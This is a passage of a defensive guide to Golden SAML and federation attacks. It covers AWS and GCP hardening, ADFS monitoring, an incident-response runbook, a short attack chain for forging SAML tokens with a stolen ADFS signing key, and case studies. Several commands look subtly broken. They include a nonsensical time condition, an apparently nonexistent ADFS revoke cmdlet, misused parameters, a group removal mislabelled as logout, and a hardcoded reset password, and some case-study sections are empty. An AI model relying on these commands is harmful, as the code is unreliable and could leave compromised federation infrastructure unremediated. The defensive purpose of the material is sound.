"Effect": "Deny",
"Action": [
"iam:CreateSAMLProvider",
"iam:UpdateSAMLProvider",
"iam:DeleteSAMLProvider"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:CurrentTime": [
"2024-01-01T09:00:00Z/*",
"2024-01-01T17:00:00Z/*"
]
},
"NotIpAddress": {
"aws:SourceIp": "10.0.0.0/8" // Office network only
}
}
}
]
}
Objective: Real-time detection of changes to federation metadata, certificates, trust relationships
Applies To: All platforms
Manual Steps (ADFS monitoring via PowerShell):
# Create scheduled task to monitor ADFS changes
$trigger = New-ScheduledTaskTrigger -Daily -At 06:00AM
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument @"
-NoProfile -WindowStyle Hidden -Command {
`$adfsProps = Get-AdfsProperties
`$rpTrusts = Get-AdfsRelyingPartyTrust
`$certs = Get-AdfsCertificate
# Export current state
[PSCustomObject]@{
Timestamp = Get-Date
RelyingParties = `$rpTrusts.Count
Certificates = `$certs.Count
CertificateThumbprints = (`$certs | Select-Object -ExpandProperty Thumbprint)
} | Export-Clixml "C:\Monitoring\ADFS_State.xml"
# Compare with previous state
`$prevState = Import-Clixml "C:\Monitoring\ADFS_State_Previous.xml" -ErrorAction SilentlyContinue
if (`$prevState) {
if (`$prevState.CertificateThumbprints -ne `$certs.Thumbprint) {
Send-AlertToSOC "ADFS certificates changed"
}
}
}
"@
Register-ScheduledTask -TaskName "MonitorADFSChanges" -Trigger $trigger -Action $action
Objective: Require MFA for any admin accounts with access to ADFS, Azure AD Connect, federation configuration
Manual Steps:
# Identify all accounts with federation admin roles
Get-AzRoleAssignment -RoleDefinitionName "*Admin*" |
Where-Object {$_.Scope -match "federation|identity"}
# For each account, require MFA
# In Azure Portal → Entra ID → Users → Require MFA
# Or via Azure AD MFA settings
Objective: Restrict which external identities can access service accounts via strict attribute conditions
Manual Steps (GCP):
# When creating OIDC provider, define strict attribute conditions
gcloud iam workload-identity-pools providers create-oidc my-provider \
--location=global \
--workload-identity-pool=my-pool \
--display-name="My OIDC Provider" \
--attribute-mapping="google.subject=assertion.sub,attribute.audience=assertion.aud" \
--issuer-uri="https://auth.example.com" \
--attribute-condition="assertion.aud == 'my-app' && assertion.sub.startsWith('user-')"
Objective: Monitor for issuance of certificates matching federation domain names via CT logs
Manual Steps:
# Use Certificate Transparency monitoring service
# Services: crt.sh, Google Certificate Transparency Monitor, Sectigo Cert Intelligence
# Query for federation domain certificates
curl "https://crt.sh/?q=%.contoso.com&output=json" | jq '.[] | select(.name_value | contains("adfs"))'
# Alert if unexpected certificates issued for federation domain
Objective: Require MFA even when SAML token valid, to catch Golden SAML attacks
Manual Steps (Azure Conditional Access):
Require MFA for All Cloud Apps┌─────────────────────────────────────────────────────────────┐
│ Threat Detection Pathway │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┴───────────────────┐
▼ ▼
Phase 1: Credential Access Phase 2: Token Usage
(Certificate Theft) (Lateral Movement)
│ │
┌────┴──────────────────┐ ┌────────┴─────────────┐
│ │ │ │
▼ ▼ ▼ ▼
Event 1007 Event 4663 SAML Token without Cross-cloud
(Cert Export) (Registry Mod) Kerberos Event Privilege
│ │ │ Escalation
└───────┬───────────┘ │ │
│ │ │
ALERT: Suspicious ALERT: Forged ALERT: Anomalous
Certificate Export SAML Detection Cross-cloud Access
│ │ │
└───────────────┬───────────────┴────────────────┘
│
┌───────▼────────┐
│ Escalate to │
│ Incident Team │
│ (Critical) │
└────────────────┘
Initial Detection (0-30 minutes):
# Disable account immediately
Disable-ADAccount -Identity "compromised_admin"
# Force logout of all sessions
Remove-ADGroupMember -Identity "Administrators" -Members "compromised_admin" -Confirm:$false
# Reset password
Set-ADAccountPassword -Identity "compromised_admin" -NewPassword (ConvertTo-SecureString "TempPassword123!" -AsPlainText -Force) -Reset
# Revoke ADFS certificate
$cert = Get-AdfsCertificate | Where-Object {$_.Thumbprint -eq "EXPORTED_THUMBPRINT"}
Revoke-AdfsCertificate -CertificateHash $cert.CertificateHash
Investigation Phase (30-120 minutes):
# Query event logs for all export events in last 72 hours
Get-WinEvent -LogName "Microsoft-Windows-CertificateServicesClient-Lifecycle-System" `
-FilterHashtable @{EventID=1007; StartTime=(Get-Date).AddDays(-3)} |
Select-Object TimeCreated, Message
# Search ADFS logs for SAML tokens without corresponding Kerberos events
$adfsLogins = Get-WinEvent -LogName "AD FS/Admin" -FilterHashtable @{EventID=501; StartTime=(Get-Date).AddHours(-24)}
foreach ($login in $adfsLogins) {
$userData = $login.Properties[4].Value # User principal name
# Check for corresponding Kerberos event on DC
$krbtgtEvent = Get-WinEvent -LogName Security -FilterHashtable @{EventID=4769; StartTime=(Get-Date).AddHours(-24)} |
Where-Object {$_.Properties[0].Value -eq $userData}
if (-not $krbtgtEvent) {
Write-Warning "POTENTIAL GOLDEN SAML: $userData authenticated without Kerberos event"
}
}
Eradication Phase (2-4 hours):
# Create new token-signing certificate
Add-AdfsCertificate -CertificateType Token-Signing
# Wait for secondary cert to become primary (default 5 days)
# Or manually promote
Set-AdfsProperties -CertificatePromotionThreshold 0
# Update all relying parties with new metadata
Update-AdfsRelyingPartyTrust -Thumbprint "NEW_CERT_THUMBPRINT"
# Revoke previous certificate
Remove-AdfsCertificate -CertificateHash "EXPORTED_CERT_HASH"
# Force re-authentication for all users
# (Depends on cloud provider - usually requires metadata update)
Get-ADGroupMember -Identity "Domain Admins" | ForEach-Object {
Set-ADUser -Identity $_ -ChangePasswordAtLogon $true
}
# In Microsoft 365
Connect-MgGraph
Get-MgUser -Filter "userPrincipalName eq 'attacker@contoso.com'" |
Invoke-MgGraphRequest -Method POST -Uri "/users/$($_.Id)/revokeSignInSessions"
Verification Phase (4-24 hours):
Dependency: CA-UNSC-020 (Certificate theft) → T1606.002 (SAML forging)
Link: Once certificate is stolen, SAML responses can be forged using the extracted private key
Attack Chain:
1. Steal ADFS certificate/key (CA-UNSC-020)
2. Forge SAML response claiming any user (T1606.002)
3. Present forged response to cloud app
4. Gain unauthorized access without MFA
Dependency: Stolen token → authentication bypass
Link: Forged SAML tokens are “alternate authentication material” used instead of passwords
Dependency: After lateral movement via Golden SAML, attacker manipulates cloud accounts
Link: Create backdoor accounts, escalate privileges, modify federation settings
Dependency: Compromise of federation infrastructure enables authentication bypass
Link: Attackers can modify relying party trusts, add new IdPs, or update federation metadata
Incident Summary: APT29 compromised SolarWinds supply chain and deployed malware (Sunburst) to numerous government and Fortune 500 organizations. Once inside target networks, APT29 extracted ADFS certificates and forged SAML tokens to access Office 365, AWS, and Azure environments.
Attack Steps:
Impact:
Detection Failures:
Mitigation Applied (Post-Incident):
Reference: CISA SolarWinds Alert AA20-352A
Incident Summary: First public disclosure of Golden SAML attack by CyberArk researchers. Demonstrated ability to forge SAML tokens using stolen ADFS certificate on multiple target organizations.
Attack Simulation:
Key Findings:
Remediation Recommended:
Reference: CyberArk Golden SAML Research
Incident Summary: Security research by Tenable discovered multiple misconfigurations in GCP Workload Identity Federation implementations that allow privilege escalation across cloud boundaries.
Vulnerability Details:
Vector 1 - Overpermissive Default OIDC Provider:
Vector 2 - Provider Update Permission Abuse:
iam.workloadIdentityPoolProviders.update permissionVector 3 - Cross-Cloud Service Account Chaining:
Impact:
Remediation:
# Implement strict attribute mapping
gcloud iam workload-identity-pools providers update my-provider \
--attribute-condition="assertion.sub == 'allowed-subject-only' && assertion.aud == 'my-app'"
# Use principal-sets to restrict service account access
gcloud iam service-accounts add-iam-policy-binding target-sa@project.iam.gserviceaccount.com \
--role='roles/iam.workloadIdentityUser' \
--principal='principalSet://iam.googleapis.com/locations/global/workloadIdentityPools/my-pool/principalSets/ALLOWED_SET'
Reference: Tenable GCP WIF Security Research